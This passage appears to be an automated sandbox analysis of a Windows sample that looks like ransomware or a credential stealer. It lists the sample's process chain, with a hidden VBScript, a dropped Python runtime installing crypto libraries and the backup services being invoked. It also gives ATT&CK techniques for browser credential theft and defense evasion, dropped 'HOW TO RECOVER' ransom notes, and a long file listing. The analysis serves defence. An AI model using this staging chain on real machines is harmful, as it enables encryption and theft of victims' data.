C:\Windows\SYSTEM32\cscript.execscript.exe //NoLogo //B C:\Users\Admin\AppData\Local\Temp\upd_0b4b310d.vbs4⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\python\python.exe" -m pip install --upgrade pip3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"C:\Users\Admin\AppData\Local\Temp\\Update_Temp_Store\python\python.exe" -m pip install cryptography requests pywin323⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
1Indicator Removal
3File Deletion
3Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Peripheral Device Discovery
1Process Discovery
1Query Registry
2System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
settings.dat
Edge Profile.ico
SCT Auditing Pending Reports
Local State
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
HOW TO RECOVER.txt
crpx0_debug.log
crpx0_debug.log
crpx0_debug.log
get-pip.py
py.zip
__init__.py
override.py
requirements.py
specifiers.py
tags.py
version.py
INSTALLER_w0db9m_.tmp
LICENSE
LICENSE.APACHE
LICENSE.BSD
LICENSE
LICENSE
__init__.py
__main__.py
__pip-runner__.py
__init__.py
__init__.py
base.py
installer.py
noop.py
venv.py
virtual.py
cache.py
__init__.py
autocompletion.py
base_command.py
cmdoptions.py
command_context.py
index_command.py
main.py
main_parser.py
parser.py
progress_bars.py
req_command.py
spinners.py
status_codes.py
__init__.py
cache.py
check.py
completion.py
configuration.py
debug.py
download.py
freeze.py
hash.py
help.py
index.py
inspect.py
install.py
list.py
lock.py
search.py
show.py
uninstall.py
wheel.py
configuration.py
__init__.py
base.py
installed.py
sdist.py
wheel.py
exceptions.py
__init__.py
collector.py
package_finder.py
sources.py
__init__.py
_distutils.py
_sysconfig.py
base.py
main.py
__init__.py
_json.py
base.py
__init__.py
_compat.py
_dists.py
_envs.py
pkg_resources.py
__init__.py
candidate.py
direct_url.py
format_control.py
index.py
installation_report.py
link.py
release_control.py
scheme.py
search_scope.py
selection_prefs.py
target_python.py
wheel.py
__init__.py
auth.py
cache.py
download.py
lazy_wheel.py
session.py
utils.py
xmlrpc.py
build_tracker.py
metadata.py
metadata_editable.py
wheel.py
wheel_editable.py
check.py
freeze.py
__init__.py
wheel.py
prepare.py
pyproject.py
__init__.py
constructors.py
pep723.py
req_dependency_group.py
req_file.py
req_install.py
req_set.py
req_uninstall.py
base.py
resolver.py
base.py
candidates.py
factory.py
found_candidates.py
provider.py
reporter.py
requirements.py
resolver.py
self_outdated_check.py
_jaraco_text.py
_log.py
appdirs.py
compat.py
compatibility_tags.py
datetime.py
deprecation.py
direct_url_helpers.py
egg_link.py
entrypoints.py
filesystem.py
filetypes.py
glibc.py
hashes.py
logging.py
misc.py
packaging.py
pylock.py
retry.py
subprocess.py
temp_dir.py
unpacking.py
urls.py
virtualenv.py
wheel.py
__init__.py
bazaar.py
git.py
mercurial.py
subversion.py
versioncontrol.py
wheel_builder.py
__init__.py
__init__.py
_cmd.py
adapter.py
cache.py
__init__.py
file_cache.py
redis_cache.py
controller.py
filewrapper.py
heuristics.py
serialize.py
wrapper.py
__init__.py
__main__.py
core.py
__init__.py
compat.py
resources.py
scripts.py
util.py
__init__.py
__main__.py
distro.py
__init__.py
__main__.py
cli.py
codec.py
compat.py
core.py
idnadata.py
intranges.py
package_data.py
uts46data.py
__init__.py
exceptions.py
ext.py
fallback.py
__init__.py
_parser.py
_structures.py
_tokenizer.py
dependency_groups.py
direct_url.py
errors.py
__init__.py
markers.py
metadata.py
pylock.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
__init__.py
__main__.py
_xdg.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
__main__.py
console.py
filter.py
__init__.py
formatter.py
__init__.py
_mapping.py
lexer.py
__init__.py
_mapping.py
python.py
modeline.py
plugin.py
regexopt.py
scanner.py
sphinxext.py
style.py
__init__.py
_mapping.py
token.py
unistring.py
util.py
__init__.py
_impl.py
__init__.py
_in_process.py
__init__.py
__version__.py
_internal_utils.py
_types.py
adapters.py
api.py
auth.py
certs.py
compat.py
cookies.py
exceptions.py
help.py
hooks.py
models.py
packages.py
sessions.py
status_codes.py
structures.py
utils.py
__init__.py
providers.py
reporters.py
__init__.py
abstract.py
criterion.py
exceptions.py
resolution.py
structs.py
__init__.py
__main__.py
_cell_widths.py
_emoji_codes.py
_emoji_replace.py
_export_format.py
_extension.py
_fileno.py
_inspect.py
_log_render.py
_loop.py
_null_file.py
_palettes.py
_pick.py
_ratio.py
_spinners.py
_stack.py
_timer.py
_win32_console.py
_windows.py
_windows_renderer.py
_wrap.py
abc.py
align.py
ansi.py
bar.py
box.py
cells.py
color.py
color_triplet.py
columns.py
console.py
constrain.py
containers.py
control.py
default_styles.py
diagnose.py
emoji.py
errors.py
file_proxy.py
filesize.py
highlighter.py
json.py
jupyter.py
layout.py
live.py
live_render.py
logging.py
markup.py
measure.py
padding.py
pager.py
palette.py
panel.py
pretty.py
progress.py
progress_bar.py
prompt.py
protocol.py
region.py
repr.py
rule.py
scope.py
screen.py
segment.py
spinner.py
status.py
style.py
styled.py
syntax.py
table.py
terminal_theme.py
text.py
theme.py
themes.py
traceback.py
tree.py
__init__.py
_parser.py
py.typed
__init__.py
_writer.py
__init__.py
_api.py
_macos.py
_openssl.py
_ssl_constants.py
_windows.py
__init__.py
_base_connection.py
_collections.py
_request_methods.py
_version.py
connection.py
connectionpool.py
__init__.py
connection.py
fetch.py
request.py
response.py
pyopenssl.py
socks.py
exceptions.py
fields.py
filepost.py
__init__.py
connection.py
probe.py
poolmanager.py
response.py
__init__.py
connection.py
proxy.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
util.py
wait.py
__init__.py
_core_metadata.py
_discovery.py
__init__.py
_log.py
_macos_compat.py
_modified.py
_msvccompiler.py
archive_util.py
ccompiler.py
cmd.py
__init__.py
_framework_compat.py
bdist.py
bdist_dumb.py
bdist_rpm.py
build.py
build_clib.py
build_ext.py
build_py.py
build_scripts.py
check.py
clean.py
config.py
install.py
install_data.py
install_egg_info.py
install_headers.py
install_lib.py
install_scripts.py
sdist.py
__init__.py
numpy.py
py39.py
base.py
cygwin.py
errors.py
msvc.py
test_base.py
test_cygwin.py
test_mingw.py
test_msvc.py
test_unix.py
unix.py
zos.py
core.py
cygwinccompiler.py
debug.py
dep_util.py
dir_util.py
dist.py
errors.py
extension.py
fancy_getopt.py
file_util.py
filelist.py
log.py
spawn.py
sysconfig.py
__init__.py
py39.py
support.py
test_archive_util.py
test_bdist.py
test_bdist_dumb.py
test_bdist_rpm.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_py.py
test_build_scripts.py
test_check.py
test_clean.py
test_cmd.py
test_config_cmd.py
test_core.py
test_dir_util.py
test_dist.py
test_extension.py
test_file_util.py
test_filelist.py
test_install.py
test_install_data.py
test_install_headers.py
test_install_lib.py
test_install_scripts.py
test_log.py
test_modified.py
test_sdist.py
test_spawn.py
test_sysconfig.py
test_text_file.py
test_util.py
test_version.py
unix_compat.py
text_file.py
unixccompiler.py
util.py
version.py
versionpredicate.py
zosccompiler.py
_entry_points.py
_imp.py
_importlib.py
_itertools.py
_normalization.py
_path.py
_reqs.py
_scripts.py
_shutil.py
_static.py
__init__.py
autoasync.py
autocommand.py
automain.py
autoparse.py
errors.py
LICENSE
__init__.py
__init__.py
__main__.py
py38.py
WHEEL
__init__.py
_adapters.py
_collections.py
_compat.py
_functools.py
_itertools.py
_meta.py
_text.py
_typing.py
py311.py
py39.py
diagnose.py
__init__.py
__init__.py
__init__.py
layouts.py
show-newlines.py
strip-prefix.py
to-dvorak.py
to-qwerty.py
INSTALLER
top_level.txt
WHEEL
__init__.py
more.py
recipes.py
__init__.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_structures.py
_tokenizer.py
__init__.py
_spdx.py
markers.py
metadata.py
pylock.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
__main__.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
_parser.py
_re.py
_types.py
__init__.py
__main__.py
_bdist_wheel.py
__init__.py
convert.py
pack.py
tags.py
unpack.py
_metadata.py
_setuptools_logging.py
bdist_wheel.py
macosx_libfile.py
metadata.py
wheelfile.py
__init__.py
_functools.py
overlay.py
py310.py
py313.py
glob.py
archive_util.py
build_meta.py
__init__.py
_requirestxt.py
alias.py
bdist_egg.py
bdist_rpm.py
bdist_wheel.py
build.py
build_clib.py
build_ext.py
build_py.py
develop.py
dist_info.py
easy_install.py
editable_wheel.py
egg_info.py
install.py
install_egg_info.py
install_lib.py
install_scripts.py
rotate.py
saveopts.py
sdist.py
setopt.py
test.py
py310.py
py311.py
py312.py
py39.py
__init__.py
_apply_pyprojecttoml.py
__init__.py
error_reporting.py
extra_validations.py
fastjsonschema_exceptions.py
fastjsonschema_validations.py
formats.py
expand.py
pyprojecttoml.py
setupcfg.py
depends.py
discovery.py
dist.py
errors.py
extension.py
glob.py
installer.py
launch.py
logging.py
modified.py
monkey.py
msvc.py
namespaces.py
__init__.py
py39.py
__init__.py
preload.py
test_apply_pyprojecttoml.py
test_expand.py
test_pyprojecttoml.py
test_pyprojecttoml_dynamic_deps.py
test_setupcfg.py
contexts.py
environment.py
fixtures.py
helpers.py
test_pbr.py
test_pip_install_sdist.py
mod_with_constant.py
namespaces.py
script-with-bom.py
test_archive_util.py
test_bdist_deprecations.py
test_bdist_egg.py
test_bdist_wheel.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_meta.py
test_build_py.py
test_config_discovery.py
test_core_metadata.py
test_depends.py
test_develop.py
test_dist.py
test_dist_info.py
test_distutils_adoption.py
test_editable_install.py
test_egg_info.py
test_extern.py
test_find_packages.py
test_find_py_modules.py
test_glob.py
test_install_scripts.py
test_logging.py
test_manifest.py
test_namespaces.py
test_scripts.py
test_sdist.py
test_setopt.py
test_setuptools.py
test_shutil_wrapper.py
test_unicode_utils.py
test_virtualenv.py
test_warnings.py
test_wheel.py
test_windows_wrappers.py
text.py
textwrap.py
unicode_utils.py
version.py
warnings.py
wheel.py
windows_support.py
__init__.py
__main__.py
__init__.py
info.py
wheelfile.py
pip3.10.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
libcrypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
python.exe
python3.dll
python310._pth
python310.dll
python310.zip
select.pyd
unicodedata.pyd
scan_report.json
scan_report.json
sys_service.py
__init__.py
_cffi_gen_src.py
_imp_emulation.py
_shimmed_dist_utils.py
api.py
backend_ctypes.py
cffi_opcode.py
commontypes.py
cparser.py
error.py
ffiplatform.py
gen_src.py
lock.py
model.py
pkgconfig.py
recompiler.py
setuptools_ext.py
vengine_cpy.py
vengine_gen.py
verifier.py
__about__.py
__init__.py
cobblestone.py
exceptions.py
fernet.py
__init__.py
_oid.py
__init__.py
asn1.py
__init__.py
__init__.py
backend.py
_conditional.py
binding.py
algorithms.py
modes.py
__init__.py
_asymmetric.py
_cipheralgorithm.py
_modes.py
_serialization.py
dh.py
dsa.py
ec.py
ed25519.py
ed448.py
mldsa.py
mlkem.py
padding.py
rsa.py
types.py
utils.py
x25519.py
x448.py
__init__.py
aead.py
algorithms.py
base.py
modes.py
cmac.py
constant_time.py
hashes.py
hmac.py
hpke.py
__init__.py
argon2.py
concatkdf.py
hkdf.py
kbkdf.py
pbkdf2.py
scrypt.py
x963kdf.py
keywrap.py
padding.py
poly1305.py
__init__.py
base.py
pkcs12.py
pkcs7.py
ssh.py
__init__.py
hotp.py
totp.py
utils.py
__init__.py
base.py
certificate_transparency.py
extensions.py
general_name.py
name.py
ocsp.py
oid.py
verification.py
__init__.py
_ast_gen.py
ast_transforms.py
c_ast.py
c_generator.py
c_lexer.py
c_parser.py
typing_extensions.py
wheel-0.47.0-py3-none-any.whl.metadata
packaging-26.2-py3-none-any.whl
setuptools-83.0.0-py3-none-any.whl
wheel-0.47.0-py3-none-any.whl
pycparser-3.0-py3-none-any.whl.metadata
cffi-2.1.1-cp310-cp310-win_amd64.whl.metadata
cryptography-50.0.0-cp39-abi3-win_amd64.whl.metadata
setuptools-83.0.0-py3-none-any.whl.metadata
packaging-26.2-py3-none-any.whl.metadata
typing_extensions-4.16.0-py3-none-any.whl.metadata
cffi-2.1.1-cp310-cp310-win_amd64.whl
cryptography-50.0.0-cp39-abi3-win_amd64.whl
pycparser-3.0-py3-none-any.whl
typing_extensions-4.16.0-py3-none-any.whl
tmpdo7iohg6
cacert.pem
pip.zip
store.dll
HOW TO RECOVER.html
memory/1752-60-0x00000000000D0000-0x0000000000487000-memory.dmp
memory/2484-9788-0x0000028489ED0000-0x000002848A867000-memory.dmp
memory/2484-10669-0x0000028489ED0000-0x000002848A867000-memory.dmp
memory/2484-9350-0x0000028489ED0000-0x000002848A867000-memory.dmp
memory/4876-6-0x0000000000BF0000-0x0000000000FAA000-memory.dmp